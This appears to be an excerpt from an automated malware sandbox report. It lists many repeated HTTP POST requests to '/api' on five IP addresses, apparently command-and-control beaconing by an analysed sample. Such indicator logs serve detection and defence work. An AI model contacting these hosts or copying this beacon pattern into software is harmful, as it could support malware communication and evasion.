Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 96Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.175:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 66.228.63.21:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.192:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 88Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 45.79.244.41:80
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 104Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-CH,*User-Agent: Mozilla/5.0Host: 139.144.164.103:80
